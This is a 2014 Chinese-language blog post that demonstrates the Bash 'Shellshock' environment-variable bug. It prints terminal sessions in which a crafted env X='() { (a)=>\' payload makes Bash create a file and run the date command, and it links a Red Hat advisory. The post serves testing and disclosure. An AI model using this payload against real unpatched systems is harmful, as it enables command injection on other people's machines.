Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1478073
  • 博文数量: 246
  • 博客积分: 3353
  • 博客等级: 中校
  • 技术积分: 3295
  • 用 户 组: 普通用户
  • 注册时间: 2011-11-09 17:56
个人简介

精通测试技术,linux,shell,性能测试

文章分类

全部博文(246)

文章存档

2024年(3)

2023年(7)

2022年(7)

2021年(4)

2020年(1)

2019年(2)

2017年(2)

2016年(3)

2015年(11)

2014年(20)

2013年(10)

2012年(176)

分类: LINUX

2014-09-26 15:13:42

1.  通过设置一个特殊的环境变量的env,能间接地查到到linux命令的属性,如下:


  1. [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date
  2. ls: cannot access date: No such file or directory

  3. [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>\' bash -c 'date'
  4. bash: X: line 1: syntax error near unexpected token `='
  5. bash: X: line 1: `'
  6. bash: error importing function definition for `X'

  7. [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date
  8. -rw-rw-r--. 1 david david 0 Sep 27 13:01 date
  9. [2014-09-27 13:01:27 david@davidcchen ~]$


2. 一次运行环境变量。

  1. [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version
  2. zsh 4.3.10 (x86_64-redhat-linux-gnu)

  3. [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version
  4. GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)
  5. Copyright (C) 2009 Free Software Foundation, Inc.
  6. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

  7. This is free software; you are free to change and redistribute it.
  8. There is NO WARRANTY, to the extent permitted by law.

  9. [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>\' bash -c "echo date"; cat echo; rm echo
  10. bash: X: line 1: syntax error near unexpected token `='
  11. bash: X: line 1: `'
  12. bash: error importing function definition for `X'
  13. Sat Sep 27 13:03:52 CST 2014

  14. ---------->成功运行date命令
  15. [2014-09-27 13:03:52 david@davidcchen ~]$

外部参考

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack

阅读(7093) | 评论(0) | 转发(2) |
0

上一篇:英文缩写

下一篇:C++各大有名库的介绍

给主人留下些什么吧!~~